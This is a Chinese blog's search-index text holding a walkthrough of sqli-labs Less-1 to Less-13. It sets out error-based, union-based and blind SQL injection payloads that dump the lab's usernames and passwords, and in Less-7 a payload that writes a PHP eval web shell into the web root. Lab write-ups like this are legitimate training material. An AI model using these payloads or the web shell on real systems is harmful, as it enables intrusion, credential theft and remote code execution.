拨开单引号，继续分离 \u0026#39;1\u0026#39;\u0026#39; LIMIT 0,1 将LIMIT 0,1限制查询语句剥离 \u0026#39;1\u0026#39;\u0026#39; 再剥离单引号，可以看到导致报错的输入 1\u0026#39; 可以构造出后台查询语句 SELECT ? FROM ? WHERE id=\u0026#39;?\u0026#39; LIMIT 0,1 hackbar payload ?id=1\u0026#39; 在之后加入 --+ 闭合语句，将后面的 LIMIT 0,1' 注释，使报错消失 上一步构造的语句为 SELECT ? FROM ? WHERE id=? LIMIT 0,1 加入--+注释后构造语句为 SELECT ? FROM ? WHERE id=\u0026#39;?\u0026#39; hackbar payload ?id=1\u0026#39; --+ --+ 使用 order by 语句进行列数查询 上一步，加入--+注释后构造语句为 SELECT ? FROM ? WHERE id=\u0026#39;?\u0026#39; order by 测试之后可以知道查询的列数为3，可以构造语句为， SELECT ?,?,? FROM ? WHERE id=\u0026#39;?\u0026#39; hackbar payload1 ?id=1\u0026#39; order by 1,2,3 --+ hackbar payload2 ?id=1\u0026#39; order by 1,2,3,4 --+ 使用联合查询union select 获取回显位置 目前构造语句没有变化，但是知道了select 的位置2和3会回显，位置1不会回显 SELECT ?1,?2,?3 FROM ? WHERE id=\u0026#39;?\u0026#39; 这里要先将传参?id=1 改为 ?id=-1 ，这样 -1 位置一般就不会回显，转而回显下一个目标，也就是联合查询的回显位置 hackabr paylaod1 ?id=-1\u0026#39; union select 1,2,3 --+ 可以知道回显的参数时位置2和3，我们注入的时候从这两个位置进行注入就行 使用联合查询union select 尝试获取数据库 以上构造语句 SELECT ?1,?2,?3 FROM ? WHERE id=\u0026#39;?\u0026#39; 联合查询之后，从这里知道了数据库，接下来我们的目标是获取列名 SELECT ?1,?2,?3 FROM security.? WHERE id=\u0026#39;?\u0026#39; hackbar payload 1 ?id=-1\u0026#39; union select 1,2,database() --+ 联合查询，获取当前库有哪些表 之前的构造语句 SELECT ?1,?2,?3 FROM security.? WHERE id=\u0026#39;?\u0026#39; 现在的构造语句，其实没有什么变化，只是表查询出来之后可能是任何一个表 SELECT ?1,?2,?3 FROM security.[emails,referers,uagents,users] WHERE id=\u0026#39;?\u0026#39; 这里要解释一下为什么payload这么构造 information_schema 是MySQL的系统信息数据库，它存放了 -\u0026gt; 数据库和表的结构信息 -\u0026gt; 列定义、索引、约束等详细信息 -\u0026gt; 用户权限和特权信息 -\u0026gt; 数据库监控和维护操作 information_schema.tables 这个表存放了： 表基本信息：表名（TABLE_NAME）、所属数据库（TABLE_SCHEMA） 表类型：表类型（TABLE_TYPE）如 BASE TABLE（基本表）、VIEW（视图） 存储引擎：ENGINE（如 InnoDB、MyISAM） 创建信息：创建时间（CREATE_TIME）、更新时间（UPDATE_TIME） 行数统计：TABLE_ROWS（表的大概行数） 数据大小：数据长度（DATA_LENGTH）、索引长度（INDEX_LENGTH） 字符集：表字符集和排序规则 表注释：TABLE_COMMENT table_schema 是information_schema.tables这个表中数据库的字段 hackbar payload ?id=-1\u0026#39; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;security\u0026#39; --+ 查询表结构 当前构造语句 SELECT ?1,?2,?3 FROM security.[emails,referers,uagents,users] WHERE id=\u0026#39;?\u0026#39; 查询每个表的字段 emails 有两个字段 id,email_id 排除 referers 有三个字段 id,referer,ip_address 可能是 uagents 有四个字段 id,uagent,ip_address,username 排除 users 有三个字段 id,username,password 可能是 现在有两种可能 1 SELECT id,referer,ip_address FROM security.referers WHERE id=\u0026#39;1\u0026#39; 2 SELECT id,username,password FROM security.users WHERE id=\u0026#39;1\u0026#39; hackbar paylaod 1 ?id=-1\u0026#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name=\u0026#39;emails\u0026#39; --+ hackbar paylaod 2 ?id=-1\u0026#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name=\u0026#39;referers\u0026#39; --+ hackbar paylaod 3 ?id=-1\u0026#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name=\u0026#39;uagents\u0026#39; --+ hackbar paylaod 4 ?id=-1\u0026#39; union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name=\u0026#39;users\u0026#39; --+ 测试两个可能性，得出表、列结构 由上一步猜测的两个构造语句 1 SELECT id,referer,ip_address FROM security.referers WHERE id=\u0026#39;1\u0026#39; 2 SELECT id,username,password FROM security.users WHERE id=\u0026#39;1\u0026#39; 构造出当前这一步的两个payload 最后成功确认后端查询语句 SELECT id,username,password FROM security.users WHERE id=\u0026#39;1\u0026#39; hackbar payload 1 ?id=-1\u0026#39; union select id,referer,ip_address from referers --+ hackbar payload 2 ?id=-1\u0026#39; union select id,username,password from users --+ 最后，使用group_concat注入出用户名密码 查询语句为 SELECT id,username,password FROM security.users WHERE id=\u0026#39;1\u0026#39; 查询当前库时，security可省略 SELECT id,username,group_concat(user,\u0026#39;:\u0026#39;,password) FROM users WHERE id=\u0026#39;1\u0026#39; hackbar payload ?id=-1\u0026#39; union select id,username,group_concat(username,\u0026#39;:\u0026#39;,password) from users --+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:1","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-1"},{"categories":["security"],"collections":null,"content":"Less-2 GET - Error based - Intiger based GET - 基于错误 - 基于整数 输入?id=1 回显报错，这里再推荐一个判断是字符型报错和数字型报错的一个方法：再加一个\u0026rsquo;(单引号) 在输入一个单引号报错之后，再输入一个单引号，进行闭合，如果成功闭合，报错消失，那就是字符型注入；如果报错还在，没有闭合，那就是数字型注入。 hackbar payload 1 ?id=1\u0026#39; --+ hackbar payload 2 ?id=1\u0026#39;\u0026#39; --+ 如果hackbar payload 2回显正常，说明注入是字符串注入，因为他成功闭合了引号，如果回显继续报错，说明注入是数字型注入。（也可以回到Less 1测试一下） 后续的payload和Less 1完全一样，获取列数 hackbar payload ?id=1 order by 1,2,3 --+ 获取注入点 hackbar payload ?id=-1 union select 1,2,3 --+ 获取数据库名 backbar paylaod ?id=-1 union select 1,2,database() --+ 获取表名 hackbar payload ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 获取列名 hackbar payload ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\u0026#39;users\u0026#39; --+ 获取内容 hackbar payload ?id=-1 union select 1,2,group_concat(username,\u0026#39;:\u0026#39;,password) from users --+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:2","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-2"},{"categories":["security"],"collections":null,"content":"Less-3 GET - Error based - Single quotes with twist - String GET - 基于错误 - 单引号的变体 - 字符串 输入 ?id=1' 测试注入点 报错分析 \u0026#39;\u0026#39;1\u0026#39;\u0026#39;) LIMIT 0,1\u0026#39; 分离单引号 \u0026#39;1\u0026#39;\u0026#39;) LIMIT 0,1 \u0026#39;1\u0026#39;\u0026#39;) 这里有一个后括号，先构造查询语句 select ? from ? where ? = (\u0026#39;?\u0026#39;) 此时如果注释输入位置那么就会变成 select ? from ? where ? = (\u0026#39;? --+ \u0026#39;) 后面缺失了一个\u0026#39;)，这时候输入的任何内容都会被当作查询内容执行，无法进行注入，需要将)也进行闭合 hackbar paylaod 1 ?id=1\u0026#39; hackbar paylaod 2 ?id=1\u0026#39;) hackbar paylaod 3 查询列数 hackbar paylaod ?id=1\u0026#39;) order by 1,2,3 --+ 查询注入点 hackbar paylaod ?id=-1\u0026#39;) union select 1,2,3 --+ 查询数据库 hackbar paylaod ?id=-1\u0026#39;) union select 1,2,database() --+ 查询表名 hackbar paylaod ?id=-1\u0026#39;) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询列名 hackbar paylaod ?id=-1\u0026#39;) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\u0026#39;users\u0026#39; --+ 查询具体数据 hackbar paylaod ?id=-1\u0026#39;) union select 1,2,group_concat(username,\u0026#39;:\u0026#39;,password) from users --+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:3","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-3"},{"categories":["security"],"collections":null,"content":"Less-4 GET - Error based - Double Quotes - String GET - 基于错误 - 双引号 - 字符串 寻找注入点 单引号没有反应，双引号回显报错 \u0026#39;\u0026#34;1\u0026#34;\u0026#34;) LIMIT 0,1\u0026#39; 分析，剥离引号 \u0026#34;1\u0026#34;\u0026#34;) LIMIT 0,1 \u0026#34;1\u0026#34;\u0026#34;) 需要闭合的是 \u0026#34;) hackbar payload 1 ?id=1\u0026#39; hackbar payload 2 ?id=1\u0026#34; hackbar payload 3 ?id=1\u0026#34;) --+ 查询列数 hackbar payload ?id=1\u0026#34;) order by 1,2,3 --+ 查询注入点 hackbar payload ?id=-1\u0026#34;) union select 1,2,3 --+ 查询数据库 hackbar payload ?id=-1\u0026#34;) union select 1,2,database() --+ 查询表 hackbar payload ?id=-1\u0026#34;) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询列 hackbar payload ?id=-1\u0026#34;) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=\u0026#39;users\u0026#39; --+ 查询数据 hackbar payload ?id=-1\u0026#34;) union select 1,2,group_concat(username,\u0026#39;:\u0026#39;,password) from users --+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:4","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-4"},{"categories":["security"],"collections":null,"content":"Less-5 GET - Double Injection - Single Quotes - String GET - 双重注入 - 单引号 - 字符串 从这里开始，难度就开始增加一级了 从这里开始，不再标注时hackbar的paylaod，可以根据截图和paylaod自行进行判断 记得在记事本里保存语句，可以快速修改payload。 测试注入点，报错判断是单引号，使用 and 语句判断回显，表明存在注入 ?id=1\u0026#39; ?id=1\u0026#39; --+ ?id=1\u0026#39; and 1=1 --+ ?id=1\u0026#39; and 1=2 --+ 判断查询列数 这之后回显都是一样的，就不放回显了 ?id=1\u0026#39; order by 1,2,3 --+ 查询数据库 由于没有回显，这里需要使用盲注 ?id=1\u0026#39; and length(database())=8 --+ 使用辅助函数逐个猜解字符 http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),1)=\u0026#39;s\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),2)=\u0026#39;se\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),3)=\u0026#39;sec\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),4)=\u0026#39;secu\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),5)=\u0026#39;secur\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),6)=\u0026#39;securi\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),7)=\u0026#39;securit\u0026#39; --+ http://192.168.242.27/Less-5/ ?id=1\u0026#39; and left(database(),8)=\u0026#39;security\u0026#39; --+ 查询表 同样使用盲注 查询表数量 有4个表 ?id=1\u0026#39; and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ 查询表长度 第1个表长度为6 ?id=1\u0026#39; and length(( select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 第2个表长度为8 ?id=1\u0026#39; and length(( select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+ 第3个表长度为7 ?id=1\u0026#39; and length(( select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+ 第4个表长度为5 ?id=1\u0026#39; and length(( select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+ 猜解第1个表名 表名 emails ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1)=\u0026#39;e\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 2,1)=\u0026#39;m\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 3,1)=\u0026#39;a\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 4,1)=\u0026#39;i\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 5,1)=\u0026#39;l\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1), 6,1)=\u0026#39;s\u0026#39; --+ 猜解第2个表名 表名 referers ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 1,1)=\u0026#39;r\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 2,1)=\u0026#39;e\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 3,1)=\u0026#39;f\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 4,1)=\u0026#39;e\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 5,1)=\u0026#39;r\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 6,1)=\u0026#39;e\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 7,1)=\u0026#39;r\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 1,1), 8,1)=\u0026#39;s\u0026#39; --+ 猜解第3个表名 表名 uagents ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 2,1), 1,1)=\u0026#39;u\u0026#39; --+ ?id=1\u0026#39; and substr(( select table_name from information_schema.tables where table_schema=database() limit 2,1), 2,1)=\u0026#39;a\u0026#39; --+ ?id=1\u0026#39; and substr(( select tab","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:5","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-5"},{"categories":["security"],"collections":null,"content":"Less-6 GET - Double Injection - Double Quotes - String GET - 双重注入 - 双引号 - 字符串 寻找注入点，单引号没反应，双引号回显报错 ?id=1\u0026#34;--+ ?id=1\u0026#34; --+ 查询列数量猜解 ?id=1\u0026#34; order by 1,2,3 --+ emmmm，以下的内容完全和Less-5一样，，将?id=1'改为?id=1\u0026quot; 单引号改为双引号即可 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:6","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-6"},{"categories":["security"],"collections":null,"content":"Less-7 GET - Dump into outfile - String GET - 输出到输出文件 - 字符串 查找注入点 回显为 You are in.... Use outfile...... 这有点离谱啊，因为路径全靠猜（你猜我猜不猜 这里可以到第一关用 @@datadir 获取路径， payload 为: ?id=-1\u0026#39; union select 1,2,@@datadir --+ 我这里的靶场（LingJing 靶场）回显路径为 /var/lib/mysql/ 这里出现了一个大问题，我这里没有合适的环境，猜不到中间件的路径，这里可以参考文末《mysql注入天书》的链接里面的内容，参照里面的内容使用 outfile 进行注入 贴一个结果 贴一个常用路径: https://www.cnblogs.com/lcamry/p/5729087.html 说实话，我在正常环境中遇到这种payload说不定就放弃了，CTF也需要提示，正常环境谁会套几层括号啊(bushi ?id=1\u0026#39;)) --+ 这里可以用盲注的方式进行注入 最后我使用了小皮面板搭建了一个临时环境，需要注意的是，小皮面板的MySQL配置没有开启写入文件，需要在my.ini配置文件的[mysqld]下加入secure_file_priv = \u0026quot;\u0026quot;配置重启数据库，不然写不进去文件 且写入文件是一次性的，无法覆盖，可以边删边测，或者更换文件名测试。 直接给payload吧 ?id=1\u0026#39;)) union select 1,2,\u0026#39;\u0026lt;?php @eval($_POST[\u0026#34;pass\u0026#34;])?\u0026gt;\u0026#39; into outfile \u0026#34;D:\\\\phpstudy_pro\\\\WWW\\\\sqli-labs\\\\Less-7\\\\1.php\u0026#34;--+ ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:7","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-7"},{"categories":["security"],"collections":null,"content":"Less-8 GET - Blind - Boolian Based - Single Quotes GET - 盲注 - 基于布尔 - 单引号 查找注入点 一个单引号 + 两个单引号测出字符注入， ?id=1\u0026#39; --+ ?id=1\u0026#39;\u0026#39; --+ and 测出逻辑闭合正常 ?id=1\u0026#39; and 1=1 --+ ?id=1\u0026#39; and 1=2 --+ order by 测出3列，4列不回显 ?id=1\u0026#39; order by 1,2,3 --+ ?id=1\u0026#39; order by 1,2,3,4 --+ 后面就是正常盲注 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:8","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-8"},{"categories":["security"],"collections":null,"content":"Less-9 GET - Blind - Time based. - Single Quotes GET - 盲选 - 基于时间 - 单引号 测试是否存在注入，这里使用了一个简单的sleep()判断是否存在注入 正确语句，不会延迟 ?id=1\u0026#39; and if(1=1,1,sleep(5)) --+ 错误语句，延迟5秒 ?id=1\u0026#39; and if(1=2,1,sleep(5)) --+ 后面就是正常盲注 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:9","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-9"},{"categories":["security"],"collections":null,"content":"Less-10 GET - Blind - Time based - double quotes GET - 盲注 - 基于时间 - 双引号 将Less-9的单引号改为双引号就行 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:10","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-10"},{"categories":["security"],"collections":null,"content":"Less-11 POST - Error Based - Single quotes - String POST - 基于错误 - 单引号 - 字符串 从这里难度继续提升，进入POST部分 寻找注入点 先随便输入一个账号密码 然后hackbar laod，获取POST传参 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin 然后分别在admin和passwd添加单引号 \u0026#39;\u0026#39;passwd\u0026#39;\u0026#39; LIMIT 0,1\u0026#39; -- passwd\u0026#39;，闭合后面 \u0026#39;passwd\u0026#39; LIMIT 0,1\u0026#39; -- admin\u0026#39;闭合前面 可以构造查询语句 select ? from ? where ?user=? and ?pass=? user在前，直接在user位置注入，注释后面的内容 构造payload body passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; --+ 查询列数 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; order by 1,2,3 --+ passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; order by 1,2 --+ 输入一个不存在的用户，回显注入位置 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=-admin\u0026#39; union select 1,2 --+ 回显 Your Login name:1 Your Password:2 查询数据库 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=-admin\u0026#39; union select 1,database() --+ 回显 Your Login name:1 Your Password:security 查询表名 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=-admin\u0026#39; union select 1,group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;security\u0026#39; --+ 回显 Your Login name:1 Your Password:emails,referers,uagents,users 查询列 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=-admin\u0026#39; union select 1,group_concat(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name=\u0026#39;users\u0026#39; --+ 回显 Your Login name:1 Your Password:id,username,password 查询数据内容 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=-admin\u0026#39; union select 1,group_concat(username,\u0026#39;:\u0026#39;,password) from users --+ 回显 Your Login name:1 Your Password:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:11","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-11"},{"categories":["security"],"collections":null,"content":"Less-12 POST - Error Based - Double quotes - String - with twist POST - 基于错误 - 双引号 - 字符串 - with twist 寻找注入点 用户名和密码分别添加单引号，没有回显 passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; passwd=passwd\u0026#39; \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; 用户名和密码再分别添加双引号 passwd=passwd\u0026#39; \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;\u0026#34; 回显 \u0026#39;passwd\u0026#39;\u0026#34;) LIMIT 0,1\u0026#39; passwd=passwd\u0026#39;\u0026#34; \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; \u0026#39;\u0026#34;passwd\u0026#39;\u0026#34;\u0026#34;) LIMIT 0,1\u0026#39; 分析 两次回显可以猜测用户名在前面，闭合为 \u0026#34;) 构造payload passwd=passwd \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#34;) --+ 后续和Less-11一样就行 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:12","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-12"},{"categories":["security"],"collections":null,"content":"Less-13 POST - Double Inject - Single quotes - String - with twist POST - 双重注入 - 单引号 - 字符串 - with twist 查找注入点 用户名和密码分别输入单引号 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39; 回显 \u0026#39;pass\u0026#39;) LIMIT 0,1\u0026#39; 分离单引号 pass\u0026#39;) passwd=pass\u0026#39; \u0026amp;submit=Submit \u0026amp;uname=admin 回显 \u0026#39;\u0026#39;pass\u0026#39;\u0026#39;) LIMIT 0,1\u0026#39; 分离单引号 pass\u0026#39;) user在前，闭合为\u0026#39;) 查询注入回显位置 尝试输入 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and 1=1 --+ 结果：成功 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and 1=2 --+ 结果：失败 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=1admin\u0026#39;) or 1=1 --+ 结果：成功 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=1admin\u0026#39;) or 1=2 --+ 结果：失败 只有两种界面变化，可能需要进行盲注 正确回显 错误回显 猜测数据库长度 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length((select database()))=8 --+ 猜测数据库名 盲注：security passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),1)=\u0026#39;s\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),2)=\u0026#39;se\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),3)=\u0026#39;sec\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),4)=\u0026#39;secu\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),5)=\u0026#39;secur\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),6)=\u0026#39;securi\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),7)=\u0026#39;securit\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and left((select database()),8)=\u0026#39;security\u0026#39; --+ 猜测有多少表 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and ( select count(table_name) from information_schema.tables where table_schema=\u0026#39;security\u0026#39; )=4 --+ 猜测各表长度 第1个表长度 emails(6) passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 0,1 ))=6 --+ 第2个表长度 referers(8) passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 1,1 ))=8 --+ 第3个表长度 uagents(7) passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 2,1 ))=7 --+ 第4个表长度 users(4) passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ))=5 --+ 猜测各表名 节约时间，直接第4个表 第4个表 emails passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and substr(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ),1,1)=\u0026#39;u\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and substr(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ),2,1)=\u0026#39;s\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and substr(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ),3,1)=\u0026#39;e\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and substr(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ),4,1)=\u0026#39;r\u0026#39; --+ passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and substr(( select table_name from information_schema.tables where table_schema=\u0026#39;security\u0026#39; limit 3,1 ),5,1)=\u0026#39;s\u0026#39; --+ 猜测表列数 passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and (( select count(column_name) from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name = \u0026#39;users\u0026#39; ))=3 --+ 猜测每列长度 三列分别是：id(2),username(8),password(8) passwd=pass \u0026amp;submit=Submit \u0026amp;uname=admin\u0026#39;) and length(( select column_name from information_schema.columns where table_schema=\u0026#39;security\u0026#39; and table_name = \u0026#39;users\u0026#39; limit 0,","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:13","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#less-13"},{"categories":["security"],"collections":null,"content":"未完 随(lan)缘(ai)更(fan)新(le)…… ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:2:14","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#未完"},{"categories":["security"],"collections":null,"content":"参考资料 sqli-labs通关详解: https://www.freebuf.com/articles/web/440191.html 【独家连载】mysql注入天书（一）Basic Challenges: https://xz.aliyun.com/news/371 ","date":"2025-11-17","objectID":"/posts/2025/sqli-libs-writeup/:3:0","tags":["SQL注入","Web安全","MySQL"],"title":"sqli-libs writeup（Less-1 至 Less-13）","uri":"/posts/2025/sqli-libs-writeup/#参考资料"},{"categories":["security"],"collections":null,"content":"LingJing(灵境)靶场","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/"},{"categories":["security"],"collections":null,"content":"LingJing(灵境)靶场 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:0:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#"},{"categories":["security"],"collections":null,"content":"LingJing(灵境)靶场入门指南 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:0:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#lingjing灵境靶场入门指南"},{"categories":["security"],"collections":null,"content":"简介 LingJing 是一款专为复杂网络环境渗透测试量身打造的桌面级本地网络安全靶场平台。支持在线下载和 免配置一键部署 靶机环境，平台内置路由 管理、监控打靶流量，快速启动靶机，满足从入门学习到红蓝队攻防实战的训练需求。后续版本将更新内置 Attacker 机器，进一步完善渗透测试打靶训练的完整流程，显著提升用户的训练体验和效率。本平台基于 Go+Fyne 构建图形界面，底层采用 QEMU 虚拟化技术，支持跨架构靶机启动。并且 能在 Mac M 系列芯片设备上启动 AMD64 架构靶机 ，确保在不同硬件环境下无缝开展测试与训练。 LingJing 